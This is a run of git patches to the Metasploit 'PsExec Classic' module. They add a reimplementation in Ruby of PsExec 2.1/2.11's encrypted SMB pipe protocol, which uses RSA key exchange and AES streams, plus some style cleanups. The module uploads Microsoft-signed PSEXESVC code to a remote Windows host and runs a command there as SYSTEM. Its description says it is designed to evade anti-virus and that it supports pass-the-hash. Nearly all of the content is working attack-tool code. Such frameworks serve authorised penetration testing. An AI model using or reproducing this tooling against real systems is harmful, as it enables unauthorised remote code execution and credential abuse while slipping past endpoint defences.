smbclient.write_raw({'file_id' => psexecsvc_proc_stdin.file_id, - 'flags1' => 0x18, - 'flags2' => 0xc807, - 'wordcount' => 14, - 'andx_command' => 255, - 'andx_offset' => 57054, - 'offset' => 0, - 'write_mode' => 0x0008, - 'remaining' => 1, - 'data_len_high' => 0, - 'data_len_low' => 1, - 'data_offset' => 64, - 'high_offset' => 0, - 'byte_count' => 2, - 'data' => "\xee\x0d", - 'do_recv' => true}) + smbclient.write_raw({:file_id => psexecsvc_proc_stdin.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => 0, + :write_mode => 0x0008, + :remaining => 1, + :data_len_high => 0, + :data_len_low => 1, + :data_offset => 64, + :high_offset => 0, + :byte_count => 2, + :data => "\xee\x0d", + :do_recv => true}) end - smbclient.write_raw({'file_id' => psexecsvc_proc_stdin.file_id, - 'flags1' => 0x18, - 'flags2' => 0xc807, - 'wordcount' => 14, - 'andx_command' => 255, - 'andx_offset' => 57054, - 'offset' => 0, - 'write_mode' => 0x0008, - 'remaining' => 1, - 'data_len_high' => 0, - 'data_len_low' => 1, - 'data_offset' => 64, - 'high_offset' => 0, - 'byte_count' => 2, - 'data' => "\xee" << data, - 'do_recv' => true}) + smbclient.write_raw({:file_id => psexecsvc_proc_stdin.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => 0, + :write_mode => 0x0008, + :remaining => 1, + :data_len_high => 0, + :data_len_low => 1, + :data_offset => 64, + :high_offset => 0, + :byte_count => 2, + :data => "\xee" << data, + :do_recv => true}) last_char = data end From e65bee1b62e4a2267756a4b93d5842c29b2454de Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Thu, 26 Jun 2014 15:05:05 -0400 Subject: [PATCH 10/15] Updates for PsExec 2.1 and 2.11, which added encryption to the client-server communication. The changes to the code don't look too signficant, but don't let that fool you; getting OpenSSL to play nice with Microsoft's CryptoAPI was HARD. Many, many hours of bit-twiddling were spent. --- lib/msf/core/exploit/smb/psexec_svc.rb | 18 +- modules/auxiliary/admin/smb/psexec_classic.rb | 441 +++++++++++++++--- 2 files changed, 389 insertions(+), 70 deletions(-) diff --git a/lib/msf/core/exploit/smb/psexec_svc.rb b/lib/msf/core/exploit/smb/psexec_svc.rb index 5f82ccbc49b1..ac23a63e5250 100644 --- a/lib/msf/core/exploit/smb/psexec_svc.rb +++ b/lib/msf/core/exploit/smb/psexec_svc.rb @@ -36,16 +36,28 @@ def extract_psexesvc(psexec_path, verbose = false) psexec_version = 2.0 read_offset = 194312 bytes_to_read = 185160 + elsif hash == '2a9c136176bbd1204b534933ee0880eaf747ed659b36d7eb13bd6aa77d35dd02' + psexec_version = 2.1 + read_offset = 198408 + bytes_to_read = 189792 + elsif hash == '3b08535b4add194f5661e1131c8e81af373ca322cf669674cf1272095e5cab95' + psexec_version = 2.11 + read_offset = 198408 + bytes_to_read = 189792 else if verbose - print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\n" + - " or\n 3c26ef3208a8bf6c2a23d46ef15c238197f528c04877db0bac2a090d15ec53b2\nActual: #{hash}\nEnsure that you have PsExec v1.98 or v2.0.") + print_error("Hash is not correct! One of the following is expected:\n" + + " * f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\n" + + " * 3c26ef3208a8bf6c2a23d46ef15c238197f528c04877db0bac2a090d15ec53b2\n" + + " * 2a9c136176bbd1204b534933ee0880eaf747ed659b36d7eb13bd6aa77d35dd02\n" + + " * 3b08535b4add194f5661e1131c8e81af373ca322cf669674cf1272095e5cab95\n" + + "Actual: #{hash}\nEnsure that you have PsExec v1.98, v2.0, v2.1, or v2.11.") end return nil end if verbose - print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") + print_status("File hash verified. PsExec v#{psexec_version} detected. Extracting PSEXESVC.EXE code from #{psexec_path}...") end # Extract the PSEXESVC.EXE code from PsExec.exe. hPsExec = File.open(psexec_path, 'rb') diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 5718dba24d87..00b73f1c80b4 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -7,6 +7,7 @@ require 'rex/proto/smb/constants' require 'rex/proto/smb/exceptions' require 'msf/core/exploit/smb/psexec_svc' +require 'openssl' class Metasploit3 < Msf::Auxiliary @@ -68,7 +69,6 @@ def run fail_with(Failure::NoAccess, 'Server granted only Guest privileges.') end - print_status('Uploading PSEXESVC.EXE...') simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") @@ -85,7 +85,7 @@ def run # case means that the file was already there from a # previous invocation... if e.error_code == 0xC0000043 - print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attepting to continue...') + print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attempting to continue...') else print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') end @@ -152,12 +152,11 @@ def run fail_with(Failure::Unknown, "#{e}\n#{e.backtrace.join("\n")}") end - # The pipe to connect to varies based on the version. psexesvc_pipe_name = nil if psexec_version == 1.98 psexesvc_pipe_name = 'psexecsvc' - elsif psexec_version == 2.0 + elsif psexec_version >= 2.0 psexesvc_pipe_name = 'PSEXESVC' else fail_with(Failure::Unknown, "Internal error. A PsExec version of #{psexec_version} is not valid!") @@ -166,11 +165,74 @@ def run # Open a pipe to the right service. print_status("Connecting to \\#{psexesvc_pipe_name} pipe...") psexecsvc_proc = simple.create_pipe("\\#{psexesvc_pipe_name}") + smbclient = simple.client + cipherEncrypt = nil + cipherDecrypt = nil + encryptedStream = false + aes_key = nil + # Newer versions of PsExec need to set up (unauthenticated) encryption. + if psexec_version == 2.1 or psexec_version == 2.11 + encryptedStream = true + + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xC8) + NDR.long(0x0A280105) + NDR.long(0x01)) + + # v2.1 and later introduced encryption to the protocol. Amusingly, there + # is no authentication done on the key exchange, so its only useful + # against passive eavesdroppers. + + # Read 4 bytes, which correspond to the length of the PUBLICKEYBLOB + # that will be returned next (we assume it will always be 148, otherwise + # the code would require restructuring in ways that are unknown at this + # time). + smbclient.read(psexecsvc_proc.file_id, 0, 4) + + # This is the PUBLICKEYSTRUC containing the header information and + # 1,024-bit RSA key. + blob = smbclient.read(psexecsvc_proc.file_id, 0, 148)['Payload'].v['Payload'] + + rsa_public_key = load_rsa_public_key(blob) + if rsa_public_key == nil + print_error "Error while loading RSA key." + # TODO: do some sort of cleanup. + return + end - # For some reason, the service needs to be pinged first to - # wake it up... - magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) + # Create Cipher objects for encryption and decryption. Generate a + # random 256-bit session key. + cipherEncrypt = OpenSSL::Cipher::AES.new(256, :CBC) + cipherEncrypt.encrypt + aes_key = cipherEncrypt.random_key + cipherEncrypt.iv = "\x00" * 16 + + cipherDecrypt = OpenSSL::Cipher::AES.new(256, :CBC) + cipherDecrypt.decrypt + cipherDecrypt.key = aes_key + cipherDecrypt.iv = "\x00" * 16 + + # Encrypt the symmetric key with the RSA key. + encrypted_key = rsa_encrypt(rsa_public_key, aes_key) + + # Tell the server that we will be sending 140 bytes in the next message. + smbclient.write(psexecsvc_proc.file_id, 0, "\x8c\x00\x00\x00") + + # This is the PUBLICKEYSTRUC header that preceeds the encrypted key. + publickeystruc = "\x01" + # bType = SIMPLEBLOB + "\x02" + # bVersion + "\x00\x00" + # reserved + "\x10\x66\x00\x00" + # ALG_ID = 0x6610 = + # ALG_CLASS_DATA_ENCRYPT| + # ALG_TYPE_BLOCK|ALG_SID_AES_256 + "\x00\xa4\x00\x00" # ALG_ID = 0xa400 = + # ALG_CLASS_KEY_EXCHANGE| + # ALG_TYPE_RSA|ALG_SIG_ANY + + # Write the RSA-encrypted AES key. + smbclient.write(psexecsvc_proc.file_id, 0, publickeystruc + encrypted_key) + + else # Older versions only need a simple ping to wake up. + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) + end # Make up a random hostname and local PID to send to the # service. It will create named pipes for stdin/out/err based @@ -181,56 +243,84 @@ def run random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s print_status("Instructing service to execute #{command}...") - smbclient = simple.client - # The standard client.write() method doesn't work since the - # service is expecting certain packet flags to be set. Hence, - # we need to use client.write_raw() and specify everything - # ourselves (such as Unicode strings, AndXOffsets, and data - # offsets). # In the first message, we tell the service our made-up # hostname and PID, and tell it what program to execute. - data = "\xee\x58\x4a\x58\x4a\x00\x00" << random_client_pid_low.chr << + data1 = aes("\x58\x4a\x00\x00" << random_client_pid_low.chr << random_client_pid_high.chr << "\x00\x00" << Rex::Text.to_unicode(random_hostname) << ("\x00" * 496) << Rex::Text.to_unicode(command) << - ("\x00" * (3762 - (command.length * 2))) + ("\x00" * (3762 - (command.length * 2))), cipherEncrypt) + + # In the next three messages, we just send lots of zero bytes... + data2 = aes("\x00" * 4290, cipherEncrypt) + data3 = aes("\x00" * 4290, cipherEncrypt) + data4 = aes("\x00" * 4290, cipherEncrypt) + + # In the final message, we give it some magic bytes. This + # (somehow) corresponds to the "-s" flag in PsExec.exe, which + # tells it to execute the specified command as SYSTEM. + data5 = aes(("\x00" * 793) << "\x01" << + ("\x00" * 14) << "\xff\xff\xff\xff" << + ("\x00" * 1048) << "\x01" << ("\x00" * 11), cipherEncrypt) + + # If the stream is encrypted, we must first send the length of the + # entire ciphertext. + data_len_packed = "\x58\x4a" + remaining = 19032 + if encryptedStream then + ciphertext_length = data1.length + data2.length + data3.length + data4.length + data5.length + remaining = ciphertext_length + + data_len_packed = [ciphertext_length].pack('v') + smbclient.write(psexecsvc_proc.file_id, 0, [remaining].pack('V')) + end + + + # The standard client.write() method doesn't work since the + # service is expecting certain packet flags to be set. Hence, + # we need to use client.write_raw() and specify everything + # ourselves (such as Unicode strings, AndXOffsets, and data + # offsets). + + offset = 0 smbclient.write_raw({:file_id => psexecsvc_proc.file_id, :flags1 => 0x18, :flags2 => 0xc807, :wordcount => 14, :andx_command => 255, - :andx_offset => 0, - :offset => 0, + :andx_offset => 57054, + :offset => offset, :write_mode => 0x000c, - :remaining => 19032, + :remaining => remaining, :data_len_high => 0, - :data_len_low => 4292, + :data_len_low => data1.length + 2, :data_offset => 64, :high_offset => 0, - :byte_count => 4293, - :data => data, + :byte_count => data1.length + 3, + :data => "\xee" << data_len_packed << data1, :do_recv => true}) + offset += data1.length - # In the next three messages, we just send lots of zero bytes... smbclient.write_raw({:file_id => psexecsvc_proc.file_id, :flags1 => 0x18, :flags2 => 0xc807, :wordcount => 14, :andx_command => 255, :andx_offset => 57054, - :offset => 4290, + :offset => offset, :write_mode => 0x0004, - :remaining => 19032, + :remaining => remaining, :data_len_high => 0, - :data_len_low => 4290, + :data_len_low => data2.length, :data_offset => 64, :high_offset => 0, - :byte_count => 4291, - :data => "\xee" << ("\x00" * 4290), + :byte_count => data2.length + 1, + :data => "\xee" << data2, :do_recv => true}) + offset += data2.length smbclient.write_raw({:file_id => psexecsvc_proc.file_id, :flags1 => 0x18, @@ -238,17 +328,18 @@ def run :wordcount => 14, :andx_command => 255, :andx_offset => 57054, - :offset => 8580, + :offset => offset, :write_mode => 0x0004, - :remaining => 19032, + :remaining => remaining, :data_len_high => 0, - :data_len_low => 4290, + :data_len_low => data3.length, :data_offset => 64, :high_offset => 0, - :byte_count => 4291, - :data => "\xee" << ("\x00" * 4290), + :byte_count => data3.length + 1, + :data => "\xee" << data3, :do_recv => true}) + offset += data3.length smbclient.write_raw({:file_id => psexecsvc_proc.file_id, :flags1 => 0x18, @@ -256,38 +347,34 @@ def run :wordcount => 14, :andx_command => 255, :andx_offset => 57054, - :offset => 12870, + :offset => offset, :write_mode => 0x0004, - :remaining => 19032, + :remaining => remaining, :data_len_high => 0, - :data_len_low => 4290, + :data_len_low => data4.length, :data_offset => 64, :high_offset => 0, - :byte_count => 4291, - :data => "\xee" << ("\x00" * 4290), + :byte_count => data4.length + 1, + :data => "\xee" << data4, :do_recv => true}) + offset += data4.length - # In the final message, we give it some magic bytes. This - # (somehow) corresponds to the "-s" flag in PsExec.exe, which - # tells it to execute the specified command as SYSTEM. smbclient.write_raw({:file_id => psexecsvc_proc.file_id, :flags1 => 0x18, :flags2 => 0xc807, :wordcount => 14, :andx_command => 255, :andx_offset => 57054, - :offset => 17160, + :offset => offset, :write_mode => 0x0004, - :remaining => 19032, + :remaining => remaining, :data_len_high => 0, - :data_len_low => 1872, + :data_len_low => data5.length, :data_offset => 64, :high_offset => 0, - :byte_count => 1873, - :data => "\xee" << ("\x00" * 793) << "\x01" << - ("\x00" * 14) << "\xff\xff\xff\xff" << - ("\x00" * 1048) << "\x01" << ("\x00" * 11), + :byte_count => data5.length + 1, + :data => "\xee" << data5, :do_recv => true}) @@ -297,6 +384,16 @@ def run psexecsvc_proc_stdout = connect_to_pipe("\\#{psexesvc_pipe_name}-#{random_hostname}-#{random_client_pid}-stdout") psexecsvc_proc_stderr = connect_to_pipe("\\#{psexesvc_pipe_name}-#{random_hostname}-#{random_client_pid}-stderr") + # Read 1024 bytes at a time if the stream is not encrypted. Otherwise, + # we need to read the length packet first (which is always a 4-byte + # DWORD), followed by a second packet with the data. + readLenStdout = readLenStderr = 1024 + if encryptedStream then + readLenStdout = readLenStderr = 4 + + # Each message is not chained to any previous one. + cipherEncrypt.reset + end # Read from stdout and stderr. We need to record the multiplex # IDs so that when we get a response, we know which it belongs @@ -305,10 +402,10 @@ def run # returned from the last call. Hence, we use these IDs to know # when to call read again. stdout_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + smbclient.read(psexecsvc_proc_stdout.file_id, 0, readLenStdout, false) stderr_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + smbclient.read(psexecsvc_proc_stderr.file_id, 0, readLenStderr, false) # Loop to read responses from the server and process commands # from the user. @@ -317,7 +414,7 @@ def run wds = [] eds = [] last_char = nil - + data = nil begin while true r,w,e = ::IO.select(rds, wds, eds, 1.0) @@ -349,19 +446,55 @@ def run break end - # Print the data from our read request. - print parsed_smbpacket['Payload'].v['Payload'] - - # Check the multiplex ID from this read response, and see - # which pipe it came from (stdout or stderr?). Issue another - # read request on that pipe. + # Determine if this response came from stdout or stderr based on the multiplex ID. + stdout_response = stderr_response = false received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] if received_multiplex_id == stdout_multiplex_id - stdout_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + stdout_response = true elsif received_multiplex_id == stderr_multiplex_id + stderr_response = true + end + + # Extract the length for what the server's next packet payload + # will be (note that we need to cut off the single padding byte + # prepended using [1..-1]). + # + # We fall into this block, too, if the payload length is 4, since + # this happens when our previous read to stderr unexpectedly + # returns with data. + payload = parsed_smbpacket['Payload'].v['Payload'][1..-1] + if encryptedStream + # If we previously requested to read 4 bytes from a stream, parse the response, then we can issue + # a second read request with the size of the data that's waiting for us. + if stdout_response and (readLenStdout == 4) + readLenStdout = payload.unpack('V')[0] + elsif stderr_response && (readLenStderr == 4) + readLenStderr = payload.unpack('V')[0] + else + # Decrypt the payload and print it. + print aes(payload, cipherDecrypt) + + # Each block read from the server is encrypted separately from + # all previous blocks. Hence, the ciphertexts aren't chained + # together. + cipherDecrypt.reset + + # Issue a read command of length 4 to get the size of the next + # ciphertext. + stdout_response ? readLenStdout = 4 : readLenStderr = 4 + end + # Older versions of PsExec don't encrypt anything... + else + print payload + end + + # Issue another read request on whatever pipe just returned data. + if stdout_response + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, readLenStdout, false) + elsif stderr_response stderr_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + smbclient.read(psexecsvc_proc_stderr.file_id, 0, readLenStderr, false) end end end @@ -377,6 +510,18 @@ def run # The remote program expects CRLF line endings, but in Linux, we # only get LF line endings... if data == "\x0a" and last_char != "\x0d" + + # If the stream is encrypted, we need to send the length of the + # encrypted message first, separately. + cr = "\x0d" + if encryptedStream then + cr = aes(cr, cipherEncrypt) + cipherEncrypt.reset + smbclient.write(psexecsvc_proc_stdin.file_id, 0, [cr.length].pack('V')) + end + + # Now we write the carriage return (either in plaintext or in + # ciphertext). smbclient.write_raw({:file_id => psexecsvc_proc_stdin.file_id, :flags1 => 0x18, :flags2 => 0xc807, @@ -385,14 +530,23 @@ def run :andx_offset => 57054, :offset => 0, :write_mode => 0x0008, - :remaining => 1, + :remaining => cr.length, :data_len_high => 0, - :data_len_low => 1, + :data_len_low => cr.length, :data_offset => 64, :high_offset => 0, - :byte_count => 2, - :data => "\xee\x0d", + :byte_count => cr.length + 1, + :data => "\xee" << cr, :do_recv => true}) + end # end CRLF check + + # If the stream is encrypted, encrypt the data, then send a separate message + # telling the server what the length of the next ciphertext is. + original_data = data + if encryptedStream then + data = aes(data, cipherEncrypt) + cipherEncrypt.reset + smbclient.write(psexecsvc_proc_stdin.file_id, 0, [data.length].pack('V')) end smbclient.write_raw({:file_id => psexecsvc_proc_stdin.file_id, @@ -403,16 +557,16 @@ def run :andx_offset => 57054, :offset => 0, :write_mode => 0x0008, - :remaining => 1, + :remaining => data.length, :data_len_high => 0, - :data_len_low => 1, + :data_len_low => data.length, :data_offset => 64, :high_offset => 0, - :byte_count => 2, + :byte_count => data.length + 1, :data => "\xee" << data, :do_recv => true}) - last_char = data + last_char = original_data end end rescue Rex::Proto::SMB::Exceptions::InvalidType => e @@ -526,4 +680,157 @@ def wait_for_service_to_stop(svc_handle) end return service_stopped end + + # Loads a PKCS#1 RSA public key from Microsoft's CryptExportKey function. + # Returns a OpenSSL::PKey::RSA object on success, or nil on failure. + def load_rsa_public_key(blob) + + blob = blob[1..-1] + + # PUBLICKEYSTRUC + bType = blob[0, 1].ord + bVersion = blob[1, 1].ord + reserved = blob[2, 2] + aiKeyAlg = blob[4, 4].unpack("L")[0] + + # RSAPUBKEY + magic = blob[8, 4] + bitlen = blob[12, 4].unpack("L")[0].to_i + pubexpBE = blob[16, 4].unpack('N*').pack('V*') + pubexpLE = blob[16, 4].unpack("L")[0] + modulusLE = blob[20, blob.length - 20] + modulusBE = modulusLE.reverse + + # This magic value is "RSA1". + if magic != "\x52\x53\x41\x31" then + print_error "Magic value is unexpected!: 0x" << magic.unpack("H*")[0] + return nil + end + + if bitlen != 1024 then + print_error "RSA modulus is not 1024 as expected!: " << bitlen.to_s + return nil + end + + if pubexpLE.to_i != 65537 then + print_error "Public exponent is not 65537 as expected!: " << pubexpLE.to_i.to_s + return nil + end + + return OpenSSL::PKey::RSA.new(make_DER_stream(modulusBE, pubexpBE)) + end + + # The Ruby OpenSSLs ASN.1 documentation is terrible, so I had to construct + # the DER encoding for the key myself. If anyone knows how to re-write this + # with the ASN.1 support, please do! + # + # The ASN.1 encoder at http://lapo.it/asn1js/ was a big help here. + def make_DER_stream(modulusBE, pubexpBE) + + modulusLen = modulusBE.length + 1 # + 1 for the extra \x00 + modulusLenByte = [modulusLen].pack('C') + modulusInteger = "\x02\x81" << modulusLenByte << "\x00" << modulusBE + + pubexpLen = pubexpBE.length + pubexpLenByte = [pubexpLen].pack('C') + pubexpInteger = "\x02" << pubexpLenByte << pubexpBE + + modulusExpSequenceLen = modulusLen + 3 + pubexpLen + 2 + modulusExpSequenceLenByte = [modulusExpSequenceLen].pack('C') + modulusExpSequence = "\x30\x81" << modulusExpSequenceLenByte << modulusInteger << pubexpInteger + + bitStringLen = modulusExpSequenceLen + 3 + 1 # + 1 for the extra \x00 + bitStringLenByte = [bitStringLen].pack('C') + bitString = "\x03\x81" << bitStringLenByte << "\x00" << modulusExpSequence + + oid = "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01" + null = "\x05\x00" + oidNullSequence = "\x30\x0d" << oid << null + oidNullSequenceLen = oidNullSequence.length + + parentSequenceLen = oidNullSequenceLen + bitStringLen + 3 + parentSequenceLenByte = [parentSequenceLen].pack('C') + parentSequence = "\x30\x81" << parentSequenceLenByte << oidNullSequence << bitString + + return parentSequence + end + + # This is the I2OSP function, as defined in RSA PKCS#1 v2.1. It takes a + # number and encodes it into a byte string. + def I2OSP(n, len) + # Technically, we need to check that x isn't too large, but for this usage, + # we're fine. + + n = n.to_i + ret = "" + + # Loop through all 32-bit words. Note that n.size will return 128 when n is + # a 1024-bit number. + for i in 0..((n.size / 4) - 1) + # Grab the lower 32 bits only. + word = n & 4294967295 + + # Convert this word to a big-endian byte and add it to the result. + ret = [word].pack("N") << ret + + # We're now done with processing the lower 32 bits. + n = n >> 32 + end + + ret = ret.sub(/^\x00+/, '') + return ("\x00" * (len - ret.size)) << ret + end + + # This is the OS2IP function, as defined in RSA PKCS#1 v2.1. It takes a + # string and returns its number representation. + def OS2IP(astring) + ret = 0 + astring.each_byte do |b| + ret = ret << 8 + ret = ret | b + end + ret + end + + # Perform RSA PKCS#1 v1.5 encryption with a public key and a message. The + # result is in little-endian format for Microsoft's CryptImportKey to + # understand. + # + # This implementation works for its intended purpose, but note that it is + # missing length checks that are needed for security in other situations. + # Also note that v1.5 of the spec is deprecated. + def rsa_encrypt(key, message) + ps_len = 128 - 3 - message.length + ps = OpenSSL::Random.random_bytes(ps_len) + + # Yeah, that's right... a for loop. U mad, bro? + for i in 0..ps.length - 1 + # According to the spec, this random string must not have any zero bytes. + if ps[ i ] == "\x00" then + # For better entropy (and security), it would be better to re-generate + # another random byte, but then we'd need more logic to ensure it too + # wasn't zero. All in favor of being lazy say "aye!" + # + # Aye! + ps[ i ] = "\x69" + end + end + + eb = "\x00\x02" << ps << "\x00" << message + m = OS2IP(eb) + c = m.to_bn.mod_exp(key.e, key.n).to_bn + em = I2OSP(c, 128) + em.reverse + end + + # Encrypts or decrypts a message with AES, if configured, or returns the + # plaintext unmodified. + def aes(message, cipher) + if not cipher.nil? then + return cipher.update(message) << cipher.final + else + return message + end + end + end From ff1ca8360358473bb10862539ef0f05e0eb18a0b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 13 Feb 2015 13:48:35 -0600 Subject: [PATCH 11/15] Fix msftidy warnings --- modules/auxiliary/admin/smb/psexec_classic.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 00b73f1c80b4..42e0356220da 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -717,7 +717,7 @@ def load_rsa_public_key(blob) return nil end - return OpenSSL::PKey::RSA.new(make_DER_stream(modulusBE, pubexpBE)) + return OpenSSL::PKey::RSA.new(make_der_stream(modulusBE, pubexpBE)) end # The Ruby OpenSSLs ASN.1 documentation is terrible, so I had to construct @@ -725,7 +725,7 @@ def load_rsa_public_key(blob) # with the ASN.1 support, please do! # # The ASN.1 encoder at http://lapo.it/asn1js/ was a big help here. - def make_DER_stream(modulusBE, pubexpBE) + def make_der_stream(modulusBE, pubexpBE) modulusLen = modulusBE.length + 1 # + 1 for the extra \x00 modulusLenByte = [modulusLen].pack('C') @@ -757,7 +757,7 @@ def make_DER_stream(modulusBE, pubexpBE) # This is the I2OSP function, as defined in RSA PKCS#1 v2.1. It takes a # number and encodes it into a byte string. - def I2OSP(n, len) + def i2osp(n, len) # Technically, we need to check that x isn't too large, but for this usage, # we're fine. @@ -783,7 +783,7 @@ def I2OSP(n, len) # This is the OS2IP function, as defined in RSA PKCS#1 v2.1. It takes a # string and returns its number representation. - def OS2IP(astring) + def os2ip(astring) ret = 0 astring.each_byte do |b| ret = ret << 8 @@ -817,9 +817,9 @@ def rsa_encrypt(key, message) end eb = "\x00\x02" << ps << "\x00" << message - m = OS2IP(eb) + m = os2ip(eb) c = m.to_bn.mod_exp(key.e, key.n).to_bn - em = I2OSP(c, 128) + em = i2osp(c, 128) em.reverse end From ddab4396dbca4ab085c193eb2f54c188aad08b9b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 13 Feb 2015 13:52:35 -0600 Subject: [PATCH 12/15] Fix indentation on initialize --- modules/auxiliary/admin/smb/psexec_classic.rb | 60 +++++++++---------- 1 file changed, 29 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 42e0356220da..d082316cc975 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -18,37 +18,35 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'PsExec Classic', - 'Description' => %q{ -This module mimics the classic PsExec tool from Microsoft SysInternals. - Anti-virus software has recently rendered the commonly-used -exploit/windows/smb/psexec module much less useful because the uploaded -executable stub is usually detected and deleted before it can be used. This -module sends the same code to the target as the authentic PsExec (which -happens to have a digital signature from Microsoft), thus anti-virus software -cannot distinguish the difference. AV cannot block it without also blocking -the authentic version. Of course, this module also supports pass-the-hash, -which the authentic PsExec does not. You must provide a local path to the -authentic PsExec.exe (via the PSEXEC_PATH option) so that the PSEXESVC.EXE -service code can be extracted and uploaded to the target. The specified -command (via the COMMAND option) will be executed with SYSTEM privileges. - }, - 'Author' => - [ - 'Joe Testa ' - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] - ], - 'Platform' => 'win', - )) - - register_options([ - OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), - OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) - ], self.class ) + 'Name' => 'PsExec Classic', + 'Description' => %q{ + This module mimics the classic PsExec tool from Microsoft SysInternals. + Anti-virus software has recently rendered the commonly-used + exploit/windows/smb/psexec module much less useful because the uploaded + executable stub is usually detected and deleted before it can be used. This + module sends the same code to the target as the authentic PsExec (which + happens to have a digital signature from Microsoft), thus anti-virus software + cannot distinguish the difference. AV cannot block it without also blocking + the authentic version. Of course, this module also supports pass-the-hash, + which the authentic PsExec does not. You must provide a local path to the + authentic PsExec.exe (via the PSEXEC_PATH option) so that the PSEXESVC.EXE + service code can be extracted and uploaded to the target. The specified + command (via the COMMAND option) will be executed with SYSTEM privileges. + }, + 'Author' => [ + 'Joe Testa ' + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] + ], + 'Platform' => 'win', + )) + + register_options([ + OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), + OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) + ], self.class ) end def run From 09ee38746bd8b6180afd2b0b071ace10313342eb Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 13 Feb 2015 14:14:57 -0600 Subject: [PATCH 13/15] Snake case variable names, not CamelCase --- modules/auxiliary/admin/smb/psexec_classic.rb | 143 +++++++++--------- 1 file changed, 71 insertions(+), 72 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index d082316cc975..ac9b106bd0c6 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -99,7 +99,6 @@ def run dcerpc_bind(handle) print_status("Successfully bound to #{handle} ...") - begin # Get a handle to the service control manager. print_status('Obtaining a service control manager handle...') @@ -165,13 +164,13 @@ def run psexecsvc_proc = simple.create_pipe("\\#{psexesvc_pipe_name}") smbclient = simple.client - cipherEncrypt = nil - cipherDecrypt = nil - encryptedStream = false + cipher_encrypt = nil + cipher_decrypt = nil + encrypted_stream = false aes_key = nil # Newer versions of PsExec need to set up (unauthenticated) encryption. if psexec_version == 2.1 or psexec_version == 2.11 - encryptedStream = true + encrypted_stream = true magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xC8) + NDR.long(0x0A280105) + NDR.long(0x01)) @@ -198,15 +197,15 @@ def run # Create Cipher objects for encryption and decryption. Generate a # random 256-bit session key. - cipherEncrypt = OpenSSL::Cipher::AES.new(256, :CBC) - cipherEncrypt.encrypt - aes_key = cipherEncrypt.random_key - cipherEncrypt.iv = "\x00" * 16 + cipher_encrypt = OpenSSL::Cipher::AES.new(256, :CBC) + cipher_encrypt.encrypt + aes_key = cipher_encrypt.random_key + cipher_encrypt.iv = "\x00" * 16 - cipherDecrypt = OpenSSL::Cipher::AES.new(256, :CBC) - cipherDecrypt.decrypt - cipherDecrypt.key = aes_key - cipherDecrypt.iv = "\x00" * 16 + cipher_decrypt = OpenSSL::Cipher::AES.new(256, :CBC) + cipher_decrypt.decrypt + cipher_decrypt.key = aes_key + cipher_decrypt.iv = "\x00" * 16 # Encrypt the symmetric key with the RSA key. encrypted_key = rsa_encrypt(rsa_public_key, aes_key) @@ -215,8 +214,8 @@ def run smbclient.write(psexecsvc_proc.file_id, 0, 